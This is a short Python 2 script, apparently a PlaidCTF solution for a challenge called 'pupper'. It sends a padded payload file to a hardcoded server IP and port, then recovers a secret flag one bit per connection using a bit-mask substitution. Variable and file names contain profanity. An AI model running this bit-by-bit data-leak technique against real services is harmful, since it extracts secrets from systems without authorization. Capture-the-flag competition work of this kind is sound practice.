plaidctf-pupper.py

#!/usr/bin/python

import socket
import time

f = open("examples/fuck.dog")
data = f.read()
f.close()
data += " " * (2048 - len(data))

def makeData(i):
  d = data.replace("%d",str(i))
  return d + (" " * (2048 - len(d)))

HOST = "149.28.38.154"
PORT = 6808
s = None

x = ""

for l in range(1,36):
  thisChar = ""
  for i in range(0,8):
    fuck = False
    while fuck == False:
      try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST, PORT))
        s.send(makeData( (1 << (i + l * 8 ) ) ))
        thisChar += s.recv(1)
        print thisChar
        s.close()
        fuck = True
      except:
        print "SLEEPING"
        time.sleep(5)
        fuck = False
  x += chr(int(thisChar[::-1],2))
  print x[::-1]
  time.sleep(5)

print x[::-1]